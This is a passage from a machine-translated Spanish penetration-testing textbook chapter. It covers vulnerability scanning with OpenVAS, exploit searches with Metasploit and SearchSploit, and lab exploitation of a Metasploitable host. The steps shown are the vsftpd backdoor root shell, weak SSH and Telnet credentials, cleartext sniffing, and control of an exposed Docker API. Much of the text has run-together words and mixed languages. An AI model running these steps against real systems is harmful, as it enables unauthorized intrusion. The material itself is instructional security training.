explotaremos las vulnerabilidades.
Además de esto, aprenderá sobre la evaluación de vulnerabilidades en una organización
típica, que será útil si desea hacer de la seguridad su carrera.
En este capítulo, aprenderá sobre lo siguiente:
evaluación de vulnerabilidades
Investigación pública para hazañas
Explotación del servicio FTP
Explotación del servicio SSH
Telnetservicioexplotación
Explotación del servidor de correo electrónico
Dockerengineexplotación
Jenkinsportalexplotación
conchas inversas
Explotación del protocolo SMB
Evaluación de vulnerabilidades
Anautomatedvulnerabilitiesassessmentconsistsofusingprofessionalscanners
thatfindvulnerabilitiesonaremotehostinthenetwork (ormultipleonesina subred) .Inthepreviouschapter,
weusedthescriptscaninNmap.Ingeneral, mostscriptsinNmap (notallofthem)
willexecutesomenecessarychecksfor vulnerabilities.Forexample, whenyourunthe FTP * scriptoption,
itwillinclude thevulnerabilitiesscanninginNmap.Ifyouwanttobespecific, youcanusethe opción ftp-VULN *
entorno toachievetheendresults.Notethatavulnerabilityassessment
isalittlebitrelatedtopatchmanagement.Ifyouareworkinginanenterprise, youwillencounterthistaskalot,
morethanpenetrationtesting
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Muchas empresas pasan por esta etapa y no proceden con la explotación de los
hallazgos. En su lugar, intentan corregirlos en función del informe generado por las
herramientas.
En el mundo real, las empresas utilizan escáneres automáticos más avanzados, y estos
son algunos ejemplos de los que se utilizan en entornos incorporados:
De Tenable:
Nessus y Tenable.sc (solución local)
Tenable.io (solución en la nube)
DeRapid7:
Nexpose (una solución fuera de las instalaciones)
InsightVM (solución en la nube)
QualysScanner (solución en la nube)
Todos estos escáneres usan el mismo concepto. Si conoce los conceptos básicos del
escaneo de vulnerabilidades, podrá usar fácilmente cualquier tipo de escáner.
Flujo de trabajo de evaluación de vulnerabilidades
Antes de continuar, veamos la secuencia lógica para lograr una tarea de evaluación de
vulnerabilidad exitosa. ¿Por qué necesita clasificar sus activos? Tengo varias respuestas
para esta pregunta:
Permite que el escáner ejecute tareas con precisión. Por ejemplo, el escáner tendrá
una plantilla diferente para dispositivos móviles en comparación con hosts de Windows,
etc.
Puede priorizar la administración de parches de vulnerabilidades. Por ejemplo, una
vulnerabilidad crítica en un servidor de producción es más importante que una
vulnerabilidad crítica en un servidor de desarrollo de intranet.
Le permite separar lógicamente sus dispositivos para fines de administración de
parches. Por ejemplo, agrupar los activos le permitirá enumerar fácilmente todos los
hosts en la producción cuando se lo solicite.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Estos son los pasos:
1. Agrupe sus activos: Antes de comenzar la evaluación de vulnerabilidad, debe agrupar sus
activos en diferentes categorías. Estos son algunos ejemplos:
Dispositivos de red
dispositivos IoT
hosts de usuario
Devservers
Servidores de preproducción
Servidores de producción de Windows
Servidores de producción Linux
Telefonía/VoIP
tabletasyteléfonos
2. Gestión de acceso: Otro requisito previo para el análisis de vulnerabilidades es dar acceso al
escáner para ejecutar sus funcionalidades. En otras palabras, el analizador de vulnerabilidades
no podrá escanear correctamente si no tiene el permiso correcto en el host de destino. Esto
es lo que deberá hacer por su parte:
a.CreeunacuentapersonalizadaparahostsLinux.ElescánerusaráSSHpara
autenticar.
b.CreeunacuentapersonalizadaparaloshostsWindows.Luego,elescánerutilizaráelprotocoloSambaparaautentica
c. Instale un agente en cada host de destino. La mayoría de los escáneres basados en la
nube requerirán que use este patrón. El agente escaneará los servicios en cada host y
enviará los resultados al nodo principal. Además, el agente se ejecutará localmente en
el host, por lo que los resultados serán más precisos.
3. Cree escaneos: después de realizar los dos pasos anteriores, puede comenzar a crear
Cada proveedor ofrecerá diferentes plantillas para escanear. Por ejemplo, tendrá una plantilla
para escanear un dispositivo móvil.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ha identificado y agrupado sus activos correctamente, entonces este paso debería ser
fácil de implementar.
4. Informe: Thelaststeptoachieveasuccessfulvulnerabilityassessmentisthe reportingstep.Again,
ifyoudidyourjobcorrectlyandsegmentedyour assetsandscans,
thenthereportingpartshouldnotbeahassle.Reportswill havefalsepositives;
yourjobistoidentifythembeforereportingto management.Foralarge-scalenetwork,
youwillbesurprisedaboutthe numberofvulnerabilitiesthatyouwillfind.Insomecompanies, que
requiresecurityanalyststore-assessthescoreofthesecurityrisk (vulnerabilidad ofeach)
toreducethefalsepositivesandreportamoreaccurateresult.
Exploración de vulnerabilidades con OpenVAS
Es hora de practicar con algunos ejemplos del mundo real utilizando el escáner de
vulnerabilidades gratuito Open VAS. Esta sección tiene fines prácticos únicamente, pero en
el mundo real, muchas grandes empresas invierten dinero en costosos escáneres de
vulnerabilidades profesionales (como los que mencioné anteriormente). El mismo concepto se
aplica a otro escáner llamado Open VAS; ¡comencemos!
InstallingOpenVAS
Kalite siempre cambia la situación con respecto a Open VAS en diferentes distribuciones.
En otras palabras, a veces probablemente vea Open VAS preinstalado, y en algunas otras
distribuciones, no. En la distribución actual de 2020, no está preinstalado.
Para instalarlo, haga lo siguiente:
root@kali:~# aptupdate
root@kali:~# aptinstallopenvasÿy root@kali:~#
openvasÿsetup
Una vez que el último comando haya terminado de ejecutarse, no cierre la ventana
de su terminal. La instalación mostrará su contraseña para iniciar sesión dentro del portal
web. En la muestra de salida, verá que se generó una contraseña; en su extremo, la contraseña
será diferente:
[>]Comprobando el usuario
administrador [*]Creando el usuario
administrador Usuario creado con contraseña '0223982d-1935-4053-a300-7b2843f2ab61'.
[+]Terminado
Para acceder al portal web, abra su navegador en el siguiente enlace, como se muestra en
la Figura 7.1. (Utilice las credenciales que obtuvo anteriormente. Además, asegúrese de guardar
Canal de Telegram : @IRFaraExam
Machine Translated by Google
la contraseña para su uso posterior.)
https://127.0.0.1:9392/iniciar sesión/iniciar sesión.html
Figura 7.1 OpenVASWebPortal
NOTA
Si reinició su host, el servidor OpenVAS se apagará eventualmente y debe
iniciar el servicio nuevamente con el siguiente comando:
root@kali:~#openvas-inicio
Escaneo con OpenVAS
Aquí está el flujo de trabajo que usaremos para escanear usando Open VAS:
1. Cree un grupo de conjuntos para escanear hosts de Windows. (En Open VAS, se llama
objetivos.)
2. Utilice una cuenta SMB de Windows para permitir que el escáner inicie sesión en el host de destino.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
3. Cree una tarea para escanear los objetivos de host identificados anteriormente.
4. Runthescan.
5. Verifique el informe después de completar el escaneo.
Crear una lista de objetivos En
el menú, seleccione el elemento Configuración y, a continuación, haga clic en Objetivos.
Una vez que esté en la página, haga clic en el pequeño botón de estrella azul para crear un nuevo objetivo. En la
versión más reciente de la aplicación, el botón está ubicado a la izquierda de la pantalla, como se muestra en la
Figura 7.2.
Figura 7.2 OpenVASNewTarget
Se abrirá una nueva ventana de destino en blanco. En esta etapa, debemos agregar la siguiente
información (consulte la Figura 7.3):
Proporcione al grupo de activos (objetivos) un nombre y una descripción.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Especifique las direcciones IP de las máquinas host.
Opcionalmente, identifique la cuenta SMB (si desea un escaneo autenticado).
Especifique los intervalos de números de puerto que desea utilizar para estos tipos de activos.
CreateaScannerTask
Para crear una tarea de escáner, seleccione el menú Escanear y luego haga clic en el elemento Tarea.
Una vez más, haga clic en el pequeño botón de estrella azul para crear una nueva tarea. Una vez que la
ventana esté cargada, deberá proporcionar la siguiente información (consulte la Figura 7.4):
Proporcione el nombre y la descripción de la tarea.
Seleccione el nombre del objetivo del grupo; aquí está Scan Targets.
En Scan Config, elija el tipo de escaneo (rápido o profundo y lento).
Figura 7.3 Opciones de OpenVASTarget
Una vez que haya creado la tarea, podrá unirse a la página de tareas mediante
Canal de Telegram : @IRFaraExam
Machine Translated by Google
haciendo clic en el botón verde de reproducción, debajo de la columna Acciones (consulte la Figura 7.5).
Una vez que el escáner haya terminado, el estado será Listo. Para actualizar los
resultados automáticamente, deberá configurar el tiempo de actualización en la lista
desplegable superior derecha (junto al nombre de usuario que ha iniciado sesión).
Revisión del informe
Una vez que el escáner haya terminado la tarea de escaneo, puede visualizar el
informe seleccionando Escaneos ÿ Informes.
En la página de informes, haga clic en el enlace debajo de la columna Fecha. (Si tiene
varios escaneos, debe seleccionar la tarea correcta). Debería ser redirigido a los resultados
del informe (consulte la Figura 7.6).
Figura 7.4 Opciones de OpenVASTask
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.5 OpenVASRunATask
Figura 7.6 Resultados del informe OpenVAS
¿Qué sigue? Su trabajo en esta etapa es probar cada vulnerabilidad y validar si es explotable
o no (evitando falsos positivos).
Investigación de exploits
Hasta ahora, ha visto cómo enumeramos y buscamos vulnerabilidades. En esta etapa,
necesitamos investigar cada vulnerabilidad encontrada que pueda explotarse mediante
una búsqueda pública. En un entorno profesional, una empresa utiliza principalmente las
siguientes:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
MetasploitPro (no la versión gratuita)
CoreImpact
También existen otras herramientas para este propósito, pero estas son las más populares.
Estas herramientas no son gratuitas y tienen un precio, pero una empresa debe tenerlas para
ahorrar tiempo y esfuerzos inútiles. No siempre tiene acceso a estas herramientas (dependiendo
del cliente con el que esté trabajando). En su lugar, podemos seguir este patrón:
1.Compruebe si hay un exploit en Metasploit (edición comunitaria).
2. Si el exploit no está en Metasploit, use el motor de búsqueda de Google para ingresar el
nombre del exploit que está buscando:
Puede usar exploit-db.com si aparece en la parte superior de la búsqueda.
También puede utilizar GitHubi si el exploit no aparece en exploitÿdb .
Tomemos un ejemplo práctico de una de las vulnerabilidades encontradas en el informe Open
VAS anterior (consulte la Figura 7.7).
Cada producto de escaneo de vulnerabilidades le mostrará una sección que muestra las
referencias de cómo explotar la vulnerabilidad seleccionada. Si se pregunta de dónde obtuve
esta información , consulte la Figura 7.7 en la sección de resumen.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.7 Muestra de resultados de vulnerabilidad de OpenVAS
Esto significa que podemos usar Metasploit Framework para hacer el trabajo.
abra Metasploit y use la funcionalidad de búsqueda para buscarlos 17-010
explotar:
msf5>buscarms17-010tipo:explotar
MatchingModules
================
#Nombre
Rango
--------
Divulgación Fecha
Comprobar descripción
------------------------------
0exploit/windows/smb/ms17_010_eternalblue2017-03-14promedioSí
MS17-010EternalBlueSMBRemoteWindowsKernelPool
Corrupción
1exploit/windows/smb/ms17_010_eternalblue_win82017-03-14promedioNo
MS17-010EternalBlueSMBRemoteWindowsKernelPool
Corrupción para Win8+
2exploit/windows/smb/ms17_010_psexecnormalSí
MS17-010
2017-03-14
EternalRomance/EternalSynergy/EternalChampionSMBRemoteWindows
Ejecución de código
3explotar/windows/smb/smb_doublepulsar_rce
Canal de Telegram : @IRFaraExam
2017-04-14
Machine Translated by Google
GenialSí
SMBDOBLEPULSARRemotoCódigoEjecución
Más adelante en este capítulo, obtendremos más detalles sobre cómo aprovechar el
protocolo SMB.
Si usó el motor de búsqueda de Google, también obtendrá un enlace a la referencia de
exploitÿdb (vea la Figura 7.9).
Figura 7.8 OpenVASÿ ReportReferences
Figura 7.9 GoogleSearchforExploit
BuscarSploit
Puede usar exploit-db.com usarlaventanaterminalenlugardelaweb
Canal de Telegram : @IRFaraExam
Machine Translated by Google
versiónutilizandolautilidadSearchSploit:
$searchsploit[Opciones][Términos de búsqueda]
Antes de comenzar a usar la herramienta, deberá actualizar su base de datos para
sincronizar con la versión en línea de exploitÿdb :
$searchsploit--actualizar
Aquí está la búsqueda básica de la famosa vulnerabilidad SMB ms17-010:
raíz@kali:~#searchsploitms17-010
-------------------------------------------------- -----------------
-------------------------------------------------- ----
Título del exploit|Ruta
-------------------------------------------------- -----------------
-------------------------------------------------- ----
MicrosoftWindows-'EternalRomance'/'EternalSynergy'/'EternalChampion'SMBRemoteCode|
windows/remote/43970.rb
MicrosoftWindows-SMBRemoteCodeExecutionScanner(MS17-010)
(Metasploit)|windows/dos/41891.rb
MicrosoftWindows7/2008R2-'EternalBlue'SMBRemoteCodeExecution(MS17-010)|
windows/remote/42031.py
MicrosoftWindows7/8.1/2008R2/2012R2/2016R2-'EternalBlue'SMBRemoteCodeExecuti|
windows/remote/42315.py
MicrosoftWindows8/8.1/2012R2(x64)-'EternalBlue'SMBRemoteCodeExecution(MS17-0|
windows_x86-64/remote/42030.py
MicrosoftWindowsServer2008R2(x64)-'SrvOs2FeaToNt'SMBRemoteCodeExecution(MS1|
windows_x86-64/remote/41987.py
-------------------------------------------------- -----------------
-------------------------------------------------- ----
Shellcodes:NoResults
Papeles:NoResultados
SearchSplo es potente porque puede utilizar el filtrado de línea de comandos de Linux
(por ejemplo, grep) para hacer el trabajo. Una de las funciones de filtrado integradas que
debe tener en cuenta la opción de exclusión . Dado que SearchSploit mostrará una
gran cantidad de salida, generalmente excluyo los resultados de DOS. He aquí un ejemplo:
root@kali:~#searchsploitms17-010--exclude="/dos/"
Además, puede agregar más términos a sus criterios de búsqueda para refinar los resultados.
un ejemplo:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
root@kali:~#searchsploitms17-010windowsremote--exclude="/dos/"
Una vez que elija un elemento de los resultados, debe copiar el archivo en otro
directorio (para que no cambie el contenido del archivo original ) .
root@kali:~#searchsploit--mirror43970/root/
Exploit:MicrosoftWindows'EternalRomance'/'EternalSynergy'/'EternalChampion'SMBRemoteCode
Ejecución (Metasploit) (MS17-010)
URL:https://www.exploit-db.com/exploits/43970 Ruta:/usr/share/
exploitdb/exploits/windows/remote/43970.rb Tipo de archivo: Rubyscript, texto
ASCII, con terminadores de línea CRLF
Copiado a:/root/43970.rb
ServiciosExplotación
En el capítulo anterior, enumeramos los servicios más populares que puede encontrar
en su carrera como probador de penetración. En esta sección, explotaremos la mayoría
de los servicios que intentamos enumerar anteriormente.
Explotación del servicio FTP
Para conectarnos a un servidor FTP, podemos usar FileZilla como cliente en Kalibox.
Para instalarlo, use el siguiente comando:
root@kali:~#aptinstallfilezilla-y
El siguiente paso es verificar la información que recopilamos durante la fase de
enumeración:
Enumeración Hallazgos
Acceso anónimo permitido
usuario:usuariocredencialesvalidas
ftp:123456789validcredentials
ExploitexistsforvsFTPdversion2.3.4
Inicio de sesión FTP
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Para conectarnos con un inicio de sesión anónimo, usaremos FileZilla e ingresaremos las
siguientes credenciales (ver Figura 7.10):
Figura 7.10 FileZillaFTPConnect
Anfitrión: metasploitable.kcorp.local
Nombre de usuario: anonimo
Contraseña: cualquier contraseña (puedes escribir lo que quieras allí)
El cliente FTP pudo conectarse correctamente al host remoto.
Desafortunadamente, el directorio remoto está vacío. Aquí hay algunas ideas comunes de lo que puede
lograr en esta etapa:
La información confidencial se almacena en archivos en el servidor FTP.
Si encontró archivos ejecutables (p. ej., java2.1.exe ), verifique si existe un exploit público,
porque existe una alta probabilidad de que el software ya esté instalado en el host remoto.
Compruebe si puede cargar archivos. Eso significa que podría invocarlos a través de otros
medios para que pueda lograr un shell inverso.
A través de una aplicación web
A través de un caparazón limitado (para lograr un caparazón raíz)
Verificar las otras dos credenciales usando FileZilla también resultó ser cierto.
Podemos conectarnos con éxito al servidor FTP. Pero el nombre de usuario user nos da acceso a
todos los directorios del usuario ( /home ), como se muestra en la Figura 7.11.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.11 Conexión FileZillaFTP establecida
Ejecución remota de código
Es hora de comprobar si existe un exploit de shell remoto para esta versión del servidor.
Según un escaneo de Nmaps, esta versión de vs FTPd versión 2.3.4 es vulnerable
explotar públicamente:
|ftpÿvsftpdÿbackdoor:|
VULNERABLE:
|vsFTPdversión2.3.4puerta trasera
Estado: VULNERABLE (explotable)
ID:BID:48539CVE:CVE-2011-2523
vsFTPdversion2.3.4backdoor, esto se informó en 2011|||07-04.
Fecha de divulgación:2011-07-03
Explotar resultados:
|||Comando Shell:id
|Resultados:uid=0(raíz)gid=0(raíz)
|Referencias:
|http://scarybeastsecurity.blogspot.com/2011/07/alert vsftpd-download-backdoored.html
|https://github.com/rapid7/metasploit framework/blob/master/
modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|
2523
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-
|_
https://www.securityfocus.com/bid/48539
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Verifique dos veces, generalmente podemos ir al motor de búsqueda de Google y buscar
anexploit (ver Figura 7.12).
Figura 7.12 GoogleSearch –FTPExploit
De acuerdo con los resultados anteriores, el primer enlace apunta al sitio web de Rapid7.
En otras palabras, deberíamos poder explotarlo a través de Metasploit:
msf5>buscarvsftpdtype:explotar
MatchingModules
================
#Nombre
Comprobar descripción
-----
Divulgación Fecha Rango
-------------------
-
--------------0exploit/unix/ftp/vsftpd_234_backdoor2011-07-03VSFTPDv2.3.4Ejecución de
No
comando de puerta trasera
excelente
Parece que tenemos un buen candidato. Veamos si es explotable. Si eres nuevo
a Metasploit y preguntándose qué opciones elegir para cada módulo, entonces el
Canal de Telegram : @IRFaraExam
Machine Translated by Google
la respuesta es simplemente escribir opciones. Pero primero, debe ejecutar el
comando use para cargar el módulo de explotación :
msf5>useexploit/unix/ftp/vsftpd_234_backdoor msf5exploit(unix/ftp/
vsftpd_234_backdoor)>opciones
Opciones de módulo (exploit/unix/ftp/vsftpd_234_backdoor):
NombreConfiguración actualObligatorioDescripción
--------------------------------------------RHOSTSí Los hosts de destino, el identificador de CIDR de rango o el archivo de hosts con
el archivo de sintaxis: <ruta>'
RPORT21síEl puerto de destino (TCP)
Objetivo de explotación:
IdNombre
-----0Automático
De acuerdo con las opciones anteriores, tenemos dos valores de opción requeridos:
RHOSTS(IP de host remoto)
RPORT(número de puerto remoto)
El valor RPORT ya se ha establecido en el puerto FTP predeterminado 21. A continuación,
necesitamos ingresar la dirección IP de Metasploitable y ejecutar el comando de ejecución para
ver si podemos explotar el host remoto:
msf5exploit(unix/ftp/vsftpd_234_backdoor)>establecerRHOSTS172.16.0.101 RHOSTS=>172.16.0.101
msf5exploit(unix/ftp/vsftpd_234_backdoor)>ejecutar
[*]172.16.0.101:21-Banner:220(vsFTPd2.3.4)
[*]172.16.0.101:21-USER:331Especifiquelacontraseña.
[+] 172.16.0.101: 21: se ha generado el servicio de puerta trasera, manejando ...
[+]172.16.0.101:21-UID:uid=0(raíz)gid=0(raíz)
[*]Concha encontrada.
[*]Commandshellsession3opened(0.0.0.0:0->172.16.0.101:6200) at2020-06-2410:43:31-0400
ls
bin
cdrom
de arranque
Canal de Telegram : @IRFaraExam
Machine Translated by Google
desarrollo, etc. […]
¡Mira esto! Tenemos nuestra primera explotación de caparazón remoto en este libro. A continuación,
necesitamos generar el caparazón.
PROPINA
En el módulo anterior, usé el comando ejecutar para ejecutarlo . También puede
usar exploit en su lugar.
DesovarunaConcha
En el shell remoto anterior, nos faltaba la secuencia de explosión de la ventana
terminal. Generar el shell con Python nos permitirá hacer el trabajo.
Primero, verifique si Python está instalado en el host usando el comando which .
Después de eso, podemos ejecutar el comando de generación de Python :
whichPython /
usr/bin/python
pythonÿc'importpty;pty.spawn("/bin/bash")'
root@metasploitable:/#
Muy bien, parece que tenemos un rootshell en un solo tiro. Vamos a verificarlo dos veces
usando el comando id :
root@metasploitable:/#id id
uid=0(root)gid=0(root)
root@metasploitable:/#
De hecho, se trata de un shell raíz, por lo que no es necesario complicarse con las
técnicas de escalada de privilegios. W00tW00t (esa es la frase que uso cuando quiero
celebrar un shell raíz remoto).
Aprovechar el servicio SSH Obtener
algunas credenciales para el SSH durante la fase de enumeración es un logro
significativo.
En el capítulo anterior, obtuvimos la siguiente información:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Versión del servidor SSH: OpenSSH4.7p1Debian8ubuntu1 (esto es solo
informativo)
Credenciales válidas: nombre de usuario=usuario;contraseña=usuario
Credenciales válidas: nombre de usuario=servicio;contraseña=servicio
inicio de sesión SSH
Primero, probemos el usuario: las credenciales del usuario para verificar si obtendremos un shell remoto:
root@kali:~# [email protected]
No se puede establecer la autenticidad del host 'metasploitable.kcorp.local (172.16.0.101)'.
RSAkeyfingerprintisSHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
¿Está seguro de que desea continuar conectándose (sí/no/[huella digital])?
sí
Advertencia: Se agregó permanentemente
'metasploitable.kcorp.local, 172.16.0.101' (RSA) a la lista de hosts conocidos.
[email protected]ña local:Linuxmetasploitable2.6.24-16servidor#1SMPTjuAbr1013:58:00UTC2008i686
Los programas incluidos con el sistema Ubuntu son software gratuito;
los términos de distribución exactos para cada programa descrito en el
archivos individuales en/usr/share/doc/*/copyright.
Ubuntu viene CON ABSOLUTAMENTE NINGUNA GARANTÍA, en la medida en que lo permita
ley aplicable.
Para acceder a la documentación oficial de Ubuntu, visite:
http://help.ubuntu.com/
Último inicio de sesión: lun jun 816: 50: 212020 de 172.16.0.102
usuario@metasploitable:~$
¡Funciona! El siguiente desafío es verificar los permisos de este usuario.
palabras, ¿eres raíz?
usuario@metasploitable:~$id
uid=1001(usuario)gid=1001(usuario)grupos=1001(usuario)
usuario@metasploitable:~$cat/etc/shadow
cat:/etc/shadow:Permiso denegado
usuario@metasploitable:~$
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Según la información anterior, el usuario no tiene autorizaciones para ejecutar con permisos de root. Tal
vez el otro usuario, servicio, tenga un permiso de root. Probemos:
oot@kali:~# [email protected]
[email protected]'spassword:Linuxmetasploitable2.6.24-16server#1SMPThuAbr1013:58:00UTC2008i686
Los programas incluidos con el sistema Ubuntu son software gratuito; los términos de distribución
exactos para cada programa se describen en los archivos individuales en /usr/share/doc/*/copyright.
Ubuntu viene CON ABSOLUTAMENTE SIN GARANTÍA, en la medida en que lo permita la ley aplicable.
Para acceder a la documentación oficial de Ubuntu, visite: http://help.ubuntu.com/
service@metasploitable:~$ id uid=1002(service)gid=1002(service)groups=1002(service)
service@metasploitable:~$ cat/etc/shadow cat:/etc/shadow:Permiso denegado
servicio@metasploitable:~$
Es lo mismo que la sesión anterior: no pudimos obtener un shell raíz.
TelnetServiceExplotación
Esto es lo mismo que SSH. El servidor Telnet nos permitirá conectarnos de forma remota a la línea de
comandos. En el capítulo anterior, recopilamos la siguiente información:
Versión del servidor: 23/tcpopentelnetLinuxtelnetd
Credenciales válidas: nombre de usuario=usuario;contraseña=usuario
TelnetIniciar sesión
Usemos el comando telnet en Kali Linux para conectar y probar las credenciales anteriores encontradas
durante la fase de enumeración:
root@kali:~# telnetmetasploitable.kcorp.local Trying172.16.0.101…
Conectado a metaexplotable.kcorp.local. […]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
metasploitablelogin: usuario
Contraseña:Último inicio de
sesión:ThuJun2508:21:41EDT2020from172.16.0.102onpts/1 Linuxmetasploitable2.6.24-16server#1SMPThuApr1013:58:00UTC2008i686
Los programas incluidos con el sistema Ubuntu son software gratuito; los términos de distribución
exactos para cada programa se describen en los archivos individuales en /usr/share/doc/*/copyright.
Ubuntu viene CON ABSOLUTAMENTE SIN GARANTÍA, en la medida en que lo permita la ley aplicable.
Para acceder a la documentación oficial de Ubuntu, visite: http://help.ubuntu.com/
user@metasploitable:~$id uid=1001(user)gid=1001(user)groups=1001(user)
user@metasploitable:~$
Como puede ver en la salida del terminal anterior, nos conectamos de forma remota al
servidor Telnet. Tenemos un shell con privilegios bajos ya que los permisos de este usuario
son limitados.
SniffingforCleartextInformation
Ifyourememberfromthepreviouschapter, welearnedthattheTelnetservice
sendsthecommunicationincleartextonthenetwork.Wewillnowseewhatthis
lookslikeintheWiresharksniffer.WewillrunWiresharkonourKalihostto
interceptalltheoutgoingpackets.Inarealscenario, youwillneedtointercept
thecommunicationatthenetworkswitchlevelbysettingaportmirroringport
thatcopiesallthetraffictooneswitchport.Thisdependsoneachmanufacturer,
butit'sachievablejustbycheckingthemanualoftheswitchvendor.Also, algunos
theconnectiontoanoutputconnection hardwarekitsexistandwiththemyoucanplugintothenetworkcabletoredirect
(host whichwillbeconnectedtoyourKali).
Para ejecutar Wireshark, simplemente ingrese su nombre en la ventana de la terminal, o
puede abrirlo desde el menú Kalimenu seleccionando 09–Sniffing&SpoofingÿWireshark.
Una vez cargada la ventana, seleccione la interfaz de red que desea escuchar (consulte la
Figura 7.13). En este caso, elegiremos eth 0. Haga doble clic en él para comenzar
Canal de Telegram : @IRFaraExam
Machine Translated by Google
olfateando el tráfico entrante y saliente.
Intentemos conectarnos de forma remota al servidor Telnet y ejecutar algunos comandos.
Después de eso, verificaremos si Wireshark pudo capturar algo de eso (consulte la Figura 7.14). Para
comenzar, necesitaremos filtrar, solo para los paquetes Telnet, dentro de Wireshark. Hecho esto,
ingresemos la siguiente cadena en la barra de filtro:
tcp.puerto==23
Una vez que se haya ejecutado el filtro, haga clic derecho en cualquier paquete y seleccione
SeguirÿTransmisión TCP (vea la Figura 7.15).
Figura 7.13 Selección de interfaz de Wireshark
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.14 Resultados de captura de Wireshark
Figura 7.15 Wireshark: seguimiento de TCPStream
En la ventana Flujo de TCP, puede ver las credenciales y los comandos que ejecutamos
en la ventana de la terminal (consulte la Figura 7.16).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.16 Wireshark: captura de texto claro
A partir de ahora, puede aplicar esta técnica a cualquier protocolo de texto claro,
como los siguientes:
FTP
Telnet
SMTP
HTTP
Canal de Telegram : @IRFaraExam
Machine Translated by Google
POP3
IMAPv4
NetBIOS
SNMP
Explotación del servidor de correo electrónico
Para que este ataque funcione, necesitaremos una cuenta de usuario comprometida (por
ejemplo, usando Hydra). También puede adquirir este hallazgo en un canal diferente; no siempre
tiene que ser la técnica de fuerza bruta (por ejemplo, cuenta encontrada en el servidor FTP o
credenciales codificadas en el código fuente de la página web, ataque de ingeniería social, etc.).
Luego, necesitaremos instalar un cliente de correo en nuestro host Kali Linux. Para este
propósito, usemos el programa llamado evolución durante nuestros compromisos (también
puede usar Thunderbird).
Para instalarlo, utilice el comando aptinstall habitual :
root@kali:~#aptinstallevolution-y
Para ejecutarlo por primera vez, deberá establecer la configuración entrante/saliente del
servidor de correo y toda la información sobre la bandeja de entrada de correo de destino. En
esta etapa, debe saber lo siguiente: El nombre de usuario del correo electrónico (en nuestro
ejemplo, es [email protected] )
La contraseña de la cuenta de correo
La dirección del servidor de correo (en nuestro ejemplo, es mail.kcorp.local )
En la primera ventana que se muestra en la Figura 7.17, creé la entrada para las configuraciones
IMAP/SSL. Si desea utilizar el IMAP no seguro, seleccione el puerto 143 y asegúrese de
cambiar el valor del Método de cifrado a Sin cifrado (consulte la Figura 7.17).
A continuación, configuraremos las opciones de envío para un puerto SMTP seguro, 465. Una
vez más, si desea utilizar el protocolo de texto sin cifrar, establezca el puerto en 25 y asegúrese
de cambiar el valor del método de cifrado a Sin cifrado (consulte la Figura 7.18).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.17 Configuración de recepción de correo electrónico
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.18 Configuración de envío de correo electrónico
Finalmente, la figura 7.19 muestra un emocionante correo electrónico que Gus recibió en su bandeja de entrada
durante el comienzo de su carrera en KCorp .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.19 Bandeja de entrada de correo electrónico
Explotación Docker
Para comprender esta sección, necesitará dos requisitos previos. En primer lugar, deberá saber todo
lo que tratamos en el capítulo de enumeración anterior. En segundo lugar, deberá estar familiarizado
con la tecnología Docker;
En este escenario de explotación, hay dos máquinas virtuales host (consulte la figura 7.20):
KaliLinux (atacante): 172.16.0.102
UbuntuLinux: 172.16.0.103
En el host Ubuntu de destino, instalaremos un motor Docker (con el puerto TCP 2375 abierto) y
también tendremos un contenedor Jenkins ejecutándose.
Tenga en cuenta que los contenedores Docker tienen sus propias subredes de red; para este ejemplo,
la red de los contenedores Docker es 172.17.0.0/16.
Prueba de la conexión de Docker
Para interactuar con el motor Docker remoto, primero necesitaremos instalar un cliente Docker
en nuestro host Kali:
root@kali:~#aptupdate&&aptinstalldocker.io-y
root@kali:~#systemctlstartdocker&&systemctlenabledocker
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.20 DockerHostDesign
Para probar si podemos conectarnos al Docker remoto, ejecutemos una prueba
funciónparalistarloscontenedoresenUbuntuhost:
root@kali:~# docker-H172.16.0.103:2375ps-a
CONTENEDORIDIMAGENCOMANDOCREADOPORTSNOMBRES
ESTADO
7dd7d926605ajenkins"/bin/tini--/usr/l..."2hoursagoUp2hours0.0.0.0:8080->8080/
tcp,0.0.0.0:50000->50000/tcplabjenkins
¡Perfecto, funciona! A continuación, ejecutaremos un nuevo contenedor en el host de Ubuntu para
compromiso.
Creación de un nuevo contenedor de Kali remoto
Enestaetapa,crearemosunnuevoKalicontainerenUbuntu.Recuerdeque
estamos usando nuestra máquina virtual Kali para ejecutar estos comandos de Docker de forma remota en el
Ubuntuhost de la víctima.
DescargarKaliImagen
Primero, descargue la imagen de Kali Linux del Docker Hub:
root@kali:~# dockerÿH172.16.0.103:2375pullkalilinux/kali
Usando la etiqueta predeterminada: más reciente
último: Extrayendo de kalilinux/kali
ba24b40d7ccc:PullcompleteDigest:sha256:0954a8766c13e16bfc3c4ad1cdd457630bc6f27a2f6a7f456015f61
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Estado: descargado imagen más nueva para kalilinux/kali: más reciente
docker.io/kalilinux/kali:último
Comprobar si la imagen se ha descargado
Siempre vamos a verificar dos veces si la imagen se descargó correctamente:
root@kali:~# dockerÿH172.16.0.103:2375imágenes
REPOSITOR CREADO TAMAÑOETIQUETA
kalilinux/kali4daysago114MB
IMAGEIDlatestbd513360cce5latestcd14cecfdb3a
jenkinshace 23 meses696MB
EjecutandoelContenedor
